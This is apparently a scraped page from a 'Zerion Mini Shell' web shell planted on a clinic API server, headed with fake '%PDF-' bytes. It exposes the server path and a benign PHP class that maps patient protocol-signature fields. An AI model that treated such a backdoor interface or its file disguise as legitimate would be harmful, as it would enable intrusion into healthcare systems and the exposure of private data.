%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Transformers/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Transformers/PatientProtocolTransformer.php

<?php

namespace App\Transformers;

use App\Models\PatientProtocol;
use App\Models\Protocol;

class PatientProtocolTransformer extends BaseTransformer
{
    public function transform(Protocol $protocol)
    {
        return [
            'id'          => $protocol->id,
            'code'        => $protocol->code,
            'name'        => $protocol->name,
            'description' => $protocol->description,
            'is_signed'   => (boolean)$protocol->pivot->status === PatientProtocol::SIGNED_PATIENT,
            'status'      => $protocol->pivot->status,
            'signed_at'   => $protocol->pivot->patient_signed_at,
        ];
    }
}

Zerion Mini Shell 1.0